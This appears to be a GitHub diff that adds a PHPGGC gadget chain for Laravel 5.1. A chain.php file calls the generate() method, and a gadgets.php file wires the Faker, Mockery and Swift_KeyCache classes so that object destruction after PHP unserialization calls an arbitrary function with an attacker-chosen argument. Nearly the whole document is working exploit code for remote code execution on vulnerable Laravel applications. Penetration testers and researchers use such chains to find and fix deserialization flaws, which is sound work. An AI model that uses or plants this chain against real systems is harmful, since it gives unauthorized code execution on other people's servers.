File tree 2 files changed +67
-0
lines changed
gadgetchains/Laravel/RCE/21
2 files changed +67
-0
lines changed Original file line number Diff line number Diff line change
1
+ <?php
2
+
3
+ namespace GadgetChain \Laravel ;
4
+
5
+ class RCE21 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6
+ {
7
+ public static $ version = '5.1.* ' ;
8
+ public static $ vector = '__destruct ' ;
9
+ public static $ author = 'fallingskies ' ;
10
+
11
+ public function generate (array $ parameters )
12
+ {
13
+ $ function = $ parameters ['function ' ];
14
+ $ parameter = $ parameters ['parameter ' ];
15
+
16
+ return new \Swift_KeyCache_DiskKeyCache (
17
+ $ function ,
18
+ $ parameter
19
+ );
20
+ }
21
+ }
Original file line number Diff line number Diff line change
1
+ <?php
2
+ namespace Faker {
3
+ class DefaultGenerator{
4
+ protected $ default ;
5
+ public function __construct ($ cmd )
6
+ {
7
+ $ this ->default = $ cmd ;
8
+ }
9
+ }
10
+ class ValidGenerator
11
+ {
12
+ protected $ generator ;
13
+ protected $ validator ;
14
+ protected $ maxRetries ;
15
+ public function __construct ($ function ,$ cmd ){
16
+ $ this ->generator =new DefaultGenerator ($ cmd );
17
+ $ this ->maxRetries =9 ;
18
+ $ this ->validator =$ function ;
19
+ }
20
+ }
21
+ }
22
+
23
+ namespace Mockery \Generator {
24
+ use Faker \ValidGenerator ;
25
+ class DefinedTargetClass
26
+ {
27
+ private $ rfc ;
28
+ public function __construct ($ function ,$ cmd )
29
+ {
30
+ $ this ->rfc =new ValidGenerator ($ function ,$ cmd );
31
+ }
32
+ }
33
+ }
34
+
35
+ namespace {
36
+ use Mockery \Generator \DefinedTargetClass ;
37
+ class Swift_KeyCache_DiskKeyCache{
38
+ private $ _keys =['fallingskies ' =>['fallingskies ' =>'fallingskies ' ]];
39
+ private $ _path ;
40
+ public function __construct ($ function ,$ cmd ){
41
+ $ this ->_path =new DefinedTargetClass ($ function ,$ cmd );
42
+ }
43
+ }
44
+ }
45
+
46
+ ?>
You can’t perform that action at this time.
0 commit comments